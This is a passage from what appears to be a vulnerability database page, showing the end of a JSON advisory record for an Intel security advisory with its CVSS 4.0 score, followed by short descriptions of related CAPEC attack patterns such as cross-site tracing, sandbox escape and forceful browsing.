"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01458.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.